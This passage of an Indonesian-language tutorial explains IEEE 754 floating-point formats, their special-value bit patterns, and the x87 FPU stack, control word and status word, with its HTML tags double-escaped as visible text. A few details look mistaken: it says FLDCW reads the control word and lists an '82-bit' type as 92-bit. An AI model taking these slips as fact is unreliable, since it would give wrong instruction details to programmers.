  &amp;lt;td&amp;gt;Itanium FP-Reg&lt;br /&gt;
  &amp;lt;td&amp;gt;82&lt;br /&gt;
  &amp;lt;td&amp;gt;17&lt;br /&gt;
  &amp;lt;td&amp;gt;1 (exp)&lt;br /&gt;
  &amp;lt;td&amp;gt;63&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-65534..2^65535&lt;br /&gt;
  &amp;lt;td&amp;gt;5.00E-19729..1.00E+19729&lt;br /&gt;
  &amp;lt;td&amp;gt;18-21&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Quadruple&lt;br /&gt;
  &amp;lt;td&amp;gt;128&lt;br /&gt;
  &amp;lt;td&amp;gt;15&lt;br /&gt;
  &amp;lt;td&amp;gt;0 (imp)&lt;br /&gt;
  &amp;lt;td&amp;gt;112&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-16382..2^16383&lt;br /&gt;
  &amp;lt;td&amp;gt;3.37E-4932..1.18E+4932&lt;br /&gt;
  &amp;lt;td&amp;gt;33-36&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=50&amp;gt;&lt;br /&gt;
  &amp;lt;td width=50&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.3. Tipe Data Floating Point&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Beberapa sumber menyatakan bahwa hanya terdapat 3 format standar IEEE, yaitu: single, double dan quadruple. Tapi supaya jelas perbedaannya, dalam tulisan ini disebutkan seluruh varian (baik interpretasi maupun implementasi) dari format IEEE 754:&lt;br /&gt;
&amp;lt;li&amp;gt;128-bit Quad Precision Floating Point ditambahkan dalam revisi IEEE Standard 754 tahun 2004.&lt;br /&gt;
&amp;lt;li&amp;gt;Revisi IEEE 754 2006 menggunakan istilah: binary16, binary32, binary64 dan binary128.&lt;br /&gt;
&amp;lt;li&amp;gt;Single-Extended Precision tidak umum dipakai, sejak awal munculnya x87, Intel tidak pernah menggunakan tipe ini.&lt;br /&gt;
&amp;lt;li&amp;gt;Secara internal, Intel x87 menggunakan tipe 80-bits Double-Extended, sementara kelas Itanium menggunakan tipe 82-bits Extended-Register Floating-Point.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;A.4. Kondisi Khusus.&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jika nilai true exponent sama dengan min atau max (nilai exponent sama dengan 0 atau high) terjadi nilai-nilai khusus sbb.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24&amp;gt; true-exponent&lt;br /&gt;
  &amp;lt;td&amp;gt;mantisa&lt;br /&gt;
  &amp;lt;td&amp;gt;status/nilai&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;min&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;nol/underflow/overflow&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;min&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;gt; 0&lt;br /&gt;
  &amp;lt;td&amp;gt;denormal (subnormal)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;tak-hingga (infinite)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;gt; 0&lt;br /&gt;
  &amp;lt;td&amp;gt;bukan angka (not-a-number atau NaN)&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.4.1 Kondisi khusus&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Formasi bit pada underflow untuk sign-bit=1 (negatif) dan overflow (positif), sama dengan formasi bit untuk nilai 0, bedanya kondisi ini memicu exception yang mengindikasikan bahwa operasi sebelumnya menimbulkan undeflow/overflow.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kondisi NaN terdiri dari quiet-NaN, signaling-Nan, serta nilai tak-tentu. Selain untuk keperluan pengurutan (sorting), NaN juga berpengaruh terhadap kontrol program, karena prosesor akan bereaksi berbeda sesuai jenis NaN ini. Perbedaan antara signaling NaN dan quiet-NaN hanya terletak pada most-significant-bit (MSB) dari mantissa fraction sbb:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Signaling NaN (SNaN): MSB-bit dari mantissa fraction = 0&lt;br /&gt;
&amp;lt;li&amp;gt;Quiet Nan (QNaN): MSB-bit dari mantissa fraction = 1&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selanjutnya terdapat kondisi tak-tentu pada QNaN jika sign-bit=1 DAN hanya MSB mantissa-fraction yang bernilai=1 (bit mantissa-fraction lainnya=0). Jika sign-bit=0 (bilangan positif) kondisi ini termasuk kedalam QNaN. Kondisi tak-tentu sebagian merupakan konsekuensi dari implisit bit (karena sebetulnya tidak dapat dipastikan dari hasil operasi, apakah bit-satu bernilai 1 atau 0). Pada prosesor intel, semua kondisi NaN mengeset eksplisit bit=1 (QNaN) dan kondisi tak-tentu menandakan terjadinya invalid-operation (misalnya seperti operasi 0/0).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24 rowspan=2&amp;gt; Kondisi&lt;br /&gt;
  &amp;lt;td colspan=3&amp;gt;range biner/simbol&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;range dalam hexa&lt;br /&gt;
&amp;lt;/tr&amp;gt;            &lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Sign&lt;br /&gt;
  &amp;lt;td&amp;gt;Exponent (e)&lt;br /&gt;
  &amp;lt;td&amp;gt;23-bit Mantissa&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-QNaN&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;11111111111111111111111 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      10000000000000000000001&lt;br /&gt;
  &amp;lt;td&amp;gt;FFFFFFFF ~ FFC00001&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Indefinite&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;10000000000000000000000&lt;br /&gt;
  &amp;lt;td&amp;gt;FFC00000&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-SNaN&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;01111111111111111111111 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      00000000000000000000001&lt;br /&gt;
  &amp;lt;td&amp;gt;FFBFFFFF ~ FF800001&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-Infinite&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;FF800000&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-Normal&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;0 &amp;lt; e &amp;lt; high&lt;br /&gt;
  &amp;lt;td&amp;gt;0 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      11111111111111111111111&lt;br /&gt;
  &amp;lt;td&amp;gt;FF7FFFFF ~ 80800000&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-DeNormal&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;11111111111111111111111 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      00000000000000000000001&lt;br /&gt;
  &amp;lt;td&amp;gt;807FFFFF ~ 80000001&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;-0&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;80000000&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+DeNormal&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;00000000000000000000001 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      11111111111111111111111&lt;br /&gt;
  &amp;lt;td&amp;gt;00000001 ~ 007FFFFF&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+Normal&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;0 &amp;lt; e &amp;lt; high&lt;br /&gt;
  &amp;lt;td&amp;gt;0 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      11111111111111111111111&lt;br /&gt;
  &amp;lt;td&amp;gt;00800000 ~ 7F7FFFFF&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+Infinite&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;7F800000&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+SNaN&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;00000000000000000000001 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      01111111111111111111111&lt;br /&gt;
  &amp;lt;td&amp;gt;7F800001 ~ 7FBFFFFF&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;+QNan&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;10000000000000000000000 s.d.&amp;lt;br&amp;gt;&lt;br /&gt;
      11111111111111111111111&lt;br /&gt;
  &amp;lt;td&amp;gt;7FC00000 ~ 7FFFFFFF&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.4.2. Pola bit dan status dari tipe data Single Precision (32-bit)&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam ringkasan dibawah, supaya lebih mudah digambarkan, kita buat suatu tipe data floating point hipotetik yang memiliki 8-bit significand (dengan bit-1 implisit).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24&amp;gt; exponent&lt;br /&gt;
  &amp;lt;td&amp;gt;true-exponent&lt;br /&gt;
  &amp;lt;td&amp;gt;significand (bin-8)&lt;br /&gt;
  &amp;lt;td&amp;gt;status&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;min&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;nol&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;min&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;underflow/overflow&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;min&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;gt; 0&lt;br /&gt;
  &amp;lt;td&amp;gt;subnormal&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;1..high-1&lt;br /&gt;
  &amp;lt;td&amp;gt;min+1..max-1&lt;br /&gt;
  &amp;lt;td&amp;gt;sebarang&lt;br /&gt;
  &amp;lt;td&amp;gt;normal&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;tak-hingga&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;00000001..01111111&lt;br /&gt;
  &amp;lt;td&amp;gt;SNaN&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;10000000&lt;br /&gt;
  &amp;lt;td&amp;gt;tak-tentu/QNaN&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;max&lt;br /&gt;
  &amp;lt;td&amp;gt;10000001..11111111&lt;br /&gt;
  &amp;lt;td&amp;gt;QNan&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=100&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=150&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.4.3. Ringkasan Status Nilai Data Floating Point, tanpa sign-bit&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--pagebreak--&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=pengolahan&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;B. Pengolahan Data Numerik&lt;br /&gt;
&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;B.1. Tipe Data (Review)&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tipe data yang dikenal oleh prosesor Intel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.1.1 Integer&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;byte 8-bit&lt;br /&gt;
&amp;lt;li&amp;gt;word 16-bit&lt;br /&gt;
&amp;lt;li&amp;gt;double word 32-bit&lt;br /&gt;
&amp;lt;li&amp;gt;quad word 64-bit&lt;br /&gt;
&amp;lt;li&amp;gt;double quad word 128-bit&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[GAMBAR]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.1.2. Real&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;single 32-bit&lt;br /&gt;
&amp;lt;li&amp;gt;double 64-bit&lt;br /&gt;
&amp;lt;li&amp;gt;extended 80-bit&lt;br /&gt;
&amp;lt;li&amp;gt;extended 92-bit&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[GAMBAR]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.1.3. Esoterik &amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;(dikenal secara tidak langsung melalui operasi yang dikhususkan untuk tipe data ybs. atau dari pengaruhnya terhadap register flags)&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;boolean, 1 bit&lt;br /&gt;
&amp;lt;li&amp;gt;nibble 4-bit&lt;br /&gt;
&amp;lt;li&amp;gt;BCD 8-bit (hanya low-nibble yang digunakan)&lt;br /&gt;
&amp;lt;li&amp;gt;packed-BCD 8-bit (2 digit desimal per-byte)&lt;br /&gt;
&amp;lt;li&amp;gt;packed-BCD 80-bit (18 digit desimal dengan sign-bit)&lt;br /&gt;
&amp;lt;li&amp;gt;packed word  8 x word, 128-bit&lt;br /&gt;
&amp;lt;li&amp;gt;packed dword 4 x dword, 128-bit&lt;br /&gt;
&amp;lt;li&amp;gt;packed qword 2 x qword, 128-bit&lt;br /&gt;
&amp;lt;li&amp;gt;packed single 4 x single, 128-bit&lt;br /&gt;
&amp;lt;li&amp;gt;packed double 2 x double, 128-bit&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
[GAMBAR]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;B.2. Register Floating Point Unit&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.2.1. FPU Stack&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Register FPU stack terdiri dari 8 unit register numerik masing-masing berukuran 80-bit bertipe double-extended, tersusun dalam tumpukan (stack) yang diberi nomor urut menurun dari 7 s.d. 0, diakses dan diperlakukan sperti register stack biasa: diakses langsung register tertentu atau dengan menggunakan instruksi push/pop. Sebagai indikator terdapat TOP di register status yang menunjukkan sisa register FPU stack yang tersedia.&lt;br /&gt;
&lt;br /&gt;
Semua operasi Floating Point (kecuali operasi kontrol) akan melibatkan register FPU stack, penomoran/pengalamatan dilakukan secara relatif dari top-of-stack saat ini. Jika operand register FPU tidak disebut secara explisit, kebanyakan assembler akan menterjemahkan sebagai top-of-stack saat ini atau st(0).&lt;br /&gt;
&lt;br /&gt;
Yang perlu diingat adalah bahwa kebanyakan operasi aritmetik akan secara otomatis memuat hasil perhitungan kedalam FPU stack (push FPU stack) yang merubah susunan FPU stack. Jika suatu nilai sebelumnya diakses dengan st(n), setelah operasi semacam ini nilai yang sama akan terdapat di st(n+1).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;indikator TOP sebetulnya menunjukkan top-of-stack saat ini, dalam operasi normal (tanpa trik yang memodifikasi langsung status FPU) nilainya tidak terlalu diperhatikan, karena pengalamatan register selalu menggunakan st(n) --berupa offset relatif dari TOP itu sendiri.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.2.2. Control&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Control word, berukuran 16-bit, tidak berupa register fisik, untuk membacanya harus dimuat dulu dengan instruksi FLDCW kedalam register/memori 16-bit, atau menggunakan instruksi FLDENV dan FSAVE/FNSAVE:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;FPU Control Word&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24 width=24&amp;gt;F&amp;lt;td width=24&amp;gt;E&amp;lt;td width=24&amp;gt;D&amp;lt;td width=24&amp;gt;C&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;B&amp;lt;td width=24&amp;gt;A&amp;lt;td width=24&amp;gt;9&amp;lt;td width=24&amp;gt;8&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;7&amp;lt;td width=24&amp;gt;6&amp;lt;td width=24&amp;gt;5&amp;lt;td width=24&amp;gt;4&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;3&amp;lt;td width=24&amp;gt;2&amp;lt;td width=24&amp;gt;1&amp;lt;td width=24&amp;gt;0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td colspan=3&amp;gt;reserved&lt;br /&gt;
  &amp;lt;td&amp;gt;IC&amp;lt;td colspan=2&amp;gt;RC&amp;lt;td colspan=2&amp;gt;PC&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt;reserved&lt;br /&gt;
  &amp;lt;td&amp;gt;P&amp;lt;td&amp;gt;U&amp;lt;td&amp;gt;O&amp;lt;td&amp;gt;Z&amp;lt;td&amp;gt;D&amp;lt;td&amp;gt;I&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  rsv. - RESERVED (dicadangkan)&lt;br /&gt;
&lt;br /&gt;
  IC - Infinity Control, hanya di prosesor intel287™, sekarang tidak digunakan lagi.&lt;br /&gt;
&lt;br /&gt;
  RC - Rounding Control (pembulatan)&lt;br /&gt;
    00 : pembulatan terdekat (nearest or even)&lt;br /&gt;
    01 : pembulatan kebawah menuju -Infinite&lt;br /&gt;
    10 : pembulatan keatas menuju +Infinite&lt;br /&gt;
    11 : pembulatan integer&lt;br /&gt;
&lt;br /&gt;
  PC - Precision COntrol&lt;br /&gt;
    00 : 24-bit (single)&lt;br /&gt;
    01 : dicadangkan&lt;br /&gt;
    10 : 53-bit (double)&lt;br /&gt;
    11 : 64-bit (extended)&lt;br /&gt;
&lt;br /&gt;
  bit 0 s.d. 5 adalah Exception Masks, berkorespondensi dengan register Status:&lt;br /&gt;
    P : Precision&lt;br /&gt;
    U : Underflow&lt;br /&gt;
    O : Overflow&lt;br /&gt;
    Z : Zero Divide&lt;br /&gt;
    D : Denormalized Operand&lt;br /&gt;
    I : Invalid Operation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Untuk mempertahankan akurasi pembulatan, terutama dalam kasus relative error yang tinggi, secara internal, FPU memiliki 3 bit tambahan (guard, round dan sticky).&lt;br /&gt;
&amp;lt;li&amp;gt;Bilangan real mungkin akan dibulatkan jika tempat penyimpanan akhir (destination operand) berupa format integer atau format real yang ukurannya lebih kecil.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.2.3. Status&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Status word, berukuran 16-bit, tidak berupa register fisik. untuk membacanya harus dimuat dulu ke memori dengan instruksi FLDENV atau FSAVE/FNSAVE:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;FPU Status Word&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24 width=24&amp;gt;F&amp;lt;td width=24&amp;gt;E&amp;lt;td width=24&amp;gt;D&amp;lt;td width=24&amp;gt;C&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;B&amp;lt;td width=24&amp;gt;A&amp;lt;td width=24&amp;gt;9&amp;lt;td width=24&amp;gt;8&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;7&amp;lt;td width=24&amp;gt;6&amp;lt;td width=24&amp;gt;5&amp;lt;td width=24&amp;gt;4&lt;br /&gt;
  &amp;lt;td width=24&amp;gt;3&amp;lt;td width=24&amp;gt;2&amp;lt;td width=24&amp;gt;1&amp;lt;td width=24&amp;gt;0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;B&amp;lt;td&amp;gt;C3&amp;lt;td colspan=3&amp;gt;TOP&lt;br /&gt;
  &amp;lt;td&amp;gt;C2&amp;lt;td&amp;gt;C1&amp;lt;td&amp;gt;C0&amp;lt;td&amp;gt;E&amp;lt;td&amp;gt;S&lt;br /&gt;
  &amp;lt;td&amp;gt;P&amp;lt;td&amp;gt;U&amp;lt;td&amp;gt;O&amp;lt;td&amp;gt;Z&amp;lt;td&amp;gt;D&amp;lt;td&amp;gt;I&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
